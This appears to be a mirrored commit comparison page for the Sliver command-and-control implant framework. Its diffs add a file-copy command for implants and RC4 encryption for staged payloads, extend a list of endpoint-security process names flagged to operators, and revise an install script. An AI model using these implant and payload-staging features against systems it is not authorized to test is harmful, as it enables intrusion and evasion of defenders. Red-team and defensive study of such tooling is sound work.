mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 17:09:51 -10:00
Compare commits
92
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0a32ca109d | ||
|
|
d048427ebf | ||
|
|
d22579c204 | ||
|
|
1e79af3d89 | ||
|
|
f018f86522 | ||
|
|
584cacb7da | ||
|
|
714ab96270 | ||
|
|
c7a2bbc46b | ||
|
|
4458911e5c | ||
|
|
477df0eac9 | ||
|
|
22286fdcdd | ||
|
|
150b62a0aa | ||
|
|
270e9f2c5f | ||
|
|
ce81ce5de0 | ||
|
|
388b371573 | ||
|
|
a4425c169e | ||
|
|
fd0e54c02c | ||
|
|
59212f06fd | ||
|
|
0140bc2b8f | ||
|
|
4faaa4c075 | ||
|
|
ef1e12e6d4 | ||
|
|
7741b0373f | ||
|
|
4f2767ab59 | ||
|
|
68f78e791f | ||
|
|
d28bac4259 | ||
|
|
00197deefb | ||
|
|
0bfbe9ecd4 | ||
|
|
88ac55a2f7 | ||
|
|
a1c19bc745 | ||
|
|
5a39e253bb | ||
|
|
3b8912df4f | ||
|
|
452ce12e9f | ||
|
|
aed28b0ff1 | ||
|
|
a2c3263619 | ||
|
|
300c2f7851 | ||
|
|
b1d41f1032 | ||
|
|
9054d11749 | ||
|
|
c1f0b32c93 | ||
|
|
a3ecf3d593 | ||
|
|
1a43e70fd1 | ||
|
|
1fc7d881b2 | ||
|
|
27254a2d89 | ||
|
|
19573c9f20 | ||
|
|
0f11532e37 | ||
|
|
c75cf89def | ||
|
|
2c6cf1e96b | ||
|
|
bd4d5eca77 | ||
|
|
514da3a682 | ||
|
|
5e691bdf25 | ||
|
|
0eb997388a | ||
|
|
33e6273c62 | ||
|
|
704d65059f | ||
|
|
dee7434bd8 | ||
|
|
8b6b0d7a14 | ||
|
|
ccf53647b8 | ||
|
|
bfacc71048 | ||
|
|
f99b3cae9c | ||
|
|
6bd1108152 | ||
|
|
6db7861a70 | ||
|
|
bbe5f4c7cf | ||
|
|
66c521d719 | ||
|
|
9148720eb2 | ||
|
|
80947425ec | ||
|
|
185ded66c2 | ||
|
|
884f2d0bd7 | ||
|
|
4d0f6585d8 | ||
|
|
998bd5ab80 | ||
|
|
76a8de643f | ||
|
|
66b7b98ed3 | ||
|
|
d341b1cb3a | ||
|
|
f5d2cd2e94 | ||
|
|
2b2feb306b | ||
|
|
d390ac95c7 | ||
|
|
52ff6b4c52 | ||
|
|
4c8486349b | ||
|
|
58bcac52eb | ||
|
|
8469c9a1ce | ||
|
|
ca7b62fb7e | ||
|
|
1902f131e7 | ||
|
|
80e04c71ff | ||
|
|
b8697f6271 | ||
|
|
91b2836968 | ||
|
|
244639a79c | ||
|
|
992ee14e82 | ||
|
|
2066d200c4 | ||
|
|
683a779159 | ||
|
|
d14003bf14 | ||
|
|
e4b6da3471 | ||
|
|
4c0f36dba2 | ||
|
|
302711e817 | ||
|
|
a8b69b352d | ||
|
|
f180dd9aff |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.20.4
|
||||
FROM golang:1.20.7
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS ?= -tags osusergo,netgo,go_sqlite
|
||||
TAGS ?= -tags go_sqlite
|
||||
CGO_ENABLED = 0
|
||||
|
||||
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) != 2 {
|
||||
con.PrintErrorf("Please specify a source and destination filename.\n")
|
||||
return
|
||||
}
|
||||
|
||||
src := args[0]
|
||||
dst := args[1]
|
||||
|
||||
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
cp.Src, cp.Dst = src, dst
|
||||
|
||||
if cp.Response != nil && cp.Response.Async {
|
||||
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, cp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(cp.Response)
|
||||
} else {
|
||||
PrintCp(cp, con)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
|
||||
if cp.Response != nil && cp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", cp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
|
||||
}
|
||||
@@ -42,8 +42,13 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ""
|
||||
|
||||
localPath := args[0]
|
||||
remotePath := args[1]
|
||||
if len(args) > 1 {
|
||||
remotePath = args[1]
|
||||
}
|
||||
|
||||
// localPath := ctx.Args.String("local-path")
|
||||
// remotePath := ctx.Args.String("remote-path")
|
||||
isIOC, _ := cmd.Flags().GetBool("ioc")
|
||||
@@ -59,11 +64,12 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
fileName := filepath.Base(src)
|
||||
|
||||
if remotePath == "" {
|
||||
fileName := filepath.Base(src)
|
||||
remotePath = fileName
|
||||
}
|
||||
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
@@ -76,11 +82,12 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
FileName: fileName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -43,6 +43,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
listenerURL, _ := cmd.Flags().GetString("url")
|
||||
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
|
||||
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
|
||||
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
|
||||
prependSize, _ := cmd.Flags().GetBool("prepend-size")
|
||||
compressF, _ := cmd.Flags().GetString("compress")
|
||||
compress := strings.ToLower(compressF)
|
||||
@@ -70,6 +71,21 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
return
|
||||
}
|
||||
|
||||
if rc4EncryptKey != "" && aesEncryptKey != "" {
|
||||
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
|
||||
return
|
||||
}
|
||||
|
||||
rc4Encrypt := false
|
||||
if rc4EncryptKey != "" {
|
||||
// RC4 keysize can be between 1 to 256 bytes
|
||||
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
|
||||
con.PrintErrorf("Incorrect length of RC4 Key\n")
|
||||
return
|
||||
}
|
||||
rc4Encrypt = true
|
||||
}
|
||||
|
||||
aesEncrypt := false
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
@@ -121,6 +137,10 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
if rc4Encrypt {
|
||||
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
if prependSize {
|
||||
@@ -198,6 +218,10 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
|
||||
if rc4Encrypt {
|
||||
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
|
||||
}
|
||||
}
|
||||
|
||||
func prependPayloadSize(payload []byte) []byte {
|
||||
|
||||
@@ -86,6 +86,10 @@ var knownSecurityTools = map[string][]string{
|
||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
|
||||
@@ -51,9 +51,16 @@ func (n *node) insert(proc *commonpb.Process) {
|
||||
}
|
||||
|
||||
func (n *node) findParent(proc *commonpb.Process) *node {
|
||||
// Empty node
|
||||
if n.Value == nil {
|
||||
return nil
|
||||
}
|
||||
// Skip self when called from reorder
|
||||
// otherwise things might explode, see #1340
|
||||
if n.Value.Pid == proc.Pid {
|
||||
return nil
|
||||
}
|
||||
// Found parent
|
||||
if n.Value.Pid == proc.Ppid {
|
||||
return n
|
||||
}
|
||||
|
||||
@@ -376,6 +376,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
|
||||
f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
|
||||
})
|
||||
|
||||
@@ -791,6 +791,25 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
carapace.ActionValues().Usage("path to dest file (required)"),
|
||||
)
|
||||
|
||||
cpCmd := &cobra.Command{
|
||||
Use: consts.CpStr,
|
||||
Short: "Copy a file",
|
||||
Long: help.GetHelpFor([]string{consts.CpStr}),
|
||||
Args: cobra.ExactArgs(2),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
filesystem.CpCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(cpCmd)
|
||||
Flags("", false, cpCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
carapace.Gen(cpCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to source file (required)"),
|
||||
carapace.ActionValues().Usage("path to dest file (required)"),
|
||||
)
|
||||
|
||||
lsCmd := &cobra.Command{
|
||||
Use: consts.LsStr,
|
||||
Short: "List current directory",
|
||||
|
||||
@@ -199,6 +199,7 @@ const (
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
CpStr = "cp"
|
||||
RmStr = "rm"
|
||||
MkdirStr = "mkdir"
|
||||
CdStr = "cd"
|
||||
|
||||
+59
-50
@@ -1,47 +1,40 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
SLIVER_GPG_KEY_ID=4449039C
|
||||
SLIVER_GPG_KEY_ID="4449039C"
|
||||
|
||||
if [ "$EUID" -ne 0 ]
|
||||
then echo "Please run as root"
|
||||
exit
|
||||
if [[ "$EUID" -ne 0 ]];then
|
||||
echo "Please run as root"
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
# Determine OS type
|
||||
# Debian-based OS (Debian, Ubuntu, etc)
|
||||
if command -v apt &> /dev/null; then
|
||||
echo "Installing dependencies using apt..."
|
||||
DEBIAN_FRONTEND=noninteractive apt install -yqq \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
|
||||
echo "Installing dependencies using yum..."
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
else
|
||||
echo "Unsupported OS, exiting"
|
||||
exit
|
||||
fi
|
||||
|
||||
# Curl
|
||||
if ! command -v curl &> /dev/null
|
||||
then
|
||||
echo "curl could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Awk
|
||||
if ! command -v awk &> /dev/null
|
||||
then
|
||||
echo "awk could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
echo "gpg could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Verify if necessary tools are installed
|
||||
for cmd in curl awk gpg; do
|
||||
if ! command -v "$cmd" &> /dev/null; then
|
||||
echo "$cmd could not be found, exiting"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
cd /root
|
||||
cd /root || exit
|
||||
echo "Running from $(pwd)"
|
||||
|
||||
echo "Importing GPG key..."
|
||||
gpg --import <<EOF
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
@@ -96,42 +89,53 @@ DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
EOF
|
||||
|
||||
#
|
||||
# Download and Unpack Sliver Server
|
||||
#
|
||||
echo "Fetching latest Sliver release URLs..."
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER='sliver-server_linux'
|
||||
SLIVER_CLIENT='sliver-client_linux'
|
||||
|
||||
SLIVER_SERVER="sliver-server_linux"
|
||||
SLIVER_CLIENT="sliver-client_linux"
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
curl --silent -L "$URL" --output "$(basename "$URL")"
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
curl --silent -L "$URL" --output "$(basename "$URL")"
|
||||
fi
|
||||
done
|
||||
|
||||
# Signature verification
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
mv /root/$SLIVER_SERVER /root/sliver-server
|
||||
echo "Moving the Sliver server executable to /root/sliver-server..."
|
||||
mv "/root/$SLIVER_SERVER" /root/sliver-server
|
||||
|
||||
echo "Setting permissions for the Sliver server executable..."
|
||||
chmod 755 /root/sliver-server
|
||||
|
||||
echo "Unpacking the Sliver server..."
|
||||
/root/sliver-server unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
|
||||
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
|
||||
echo "Setting permissions for the Sliver client executable..."
|
||||
chmod 755 "/root/$SLIVER_CLIENT"
|
||||
|
||||
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
|
||||
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
|
||||
|
||||
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
|
||||
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
|
||||
|
||||
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
@@ -157,7 +161,11 @@ WantedBy=multi-user.target
|
||||
EOF
|
||||
chown root:root /etc/systemd/system/sliver.service
|
||||
chmod 600 /etc/systemd/system/sliver.service
|
||||
systemctl start sliver
|
||||
echo "Starting the Sliver service..."
|
||||
systemctl start sliver # Start the service now
|
||||
|
||||
# Generate local configs
|
||||
echo "Generating local configs ..."
|
||||
|
||||
# Generate local configs
|
||||
echo "Generating operator configs ..."
|
||||
@@ -167,10 +175,11 @@ chown -R root:root /root/.sliver-client/
|
||||
|
||||
USER_DIRS=(/home/*)
|
||||
for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
USER=$(basename $USER_DIR)
|
||||
if id -u $USER >/dev/null 2>&1; then
|
||||
mkdir -p $USER_DIR/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
|
||||
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
|
||||
USER=$(basename "$USER_DIR")
|
||||
if id -u "$USER" >/dev/null 2>&1; then
|
||||
echo "Generating operator configs for user $USER..."
|
||||
mkdir -p "$USER_DIR/.sliver-client/configs"
|
||||
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
|
||||
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
|
||||
fi
|
||||
done
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.20.4"
|
||||
GARBLE_VER="1.20.4a"
|
||||
GO_VER="1.20.7"
|
||||
GARBLE_VER="1.20.7"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
@@ -38,25 +38,25 @@ require (
|
||||
github.com/spf13/cobra v1.7.0
|
||||
github.com/spf13/pflag v1.0.5
|
||||
github.com/stretchr/testify v1.8.2
|
||||
github.com/tetratelabs/wazero v1.2.1
|
||||
github.com/tetratelabs/wazero v1.3.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.10.0
|
||||
golang.org/x/crypto v0.11.0
|
||||
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1
|
||||
golang.org/x/net v0.11.0
|
||||
golang.org/x/sys v0.9.0
|
||||
golang.org/x/term v0.9.0
|
||||
golang.org/x/text v0.10.0
|
||||
golang.org/x/sys v0.10.0
|
||||
golang.org/x/term v0.10.0
|
||||
golang.org/x/text v0.11.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.56.1
|
||||
google.golang.org/protobuf v1.30.0
|
||||
google.golang.org/protobuf v1.31.0
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.5.1
|
||||
gorm.io/driver/postgres v1.5.2
|
||||
gorm.io/driver/sqlite v1.5.2
|
||||
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55
|
||||
gorm.io/gorm v1.25.2
|
||||
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f
|
||||
modernc.org/sqlite v1.23.1
|
||||
tailscale.com v1.44.0
|
||||
|
||||
@@ -368,8 +368,8 @@ github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd h1:+fBevMGm
|
||||
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw=
|
||||
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
|
||||
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
|
||||
github.com/tetratelabs/wazero v1.2.1 h1:J4X2hrGzJvt+wqltuvcSjHQ7ujQxA9gb6PeMs4qlUWs=
|
||||
github.com/tetratelabs/wazero v1.2.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
|
||||
github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
|
||||
@@ -411,8 +411,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM=
|
||||
golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I=
|
||||
golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
|
||||
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc=
|
||||
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w=
|
||||
@@ -489,20 +489,20 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s=
|
||||
golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
|
||||
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28=
|
||||
golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo=
|
||||
golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c=
|
||||
golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58=
|
||||
golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4=
|
||||
golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
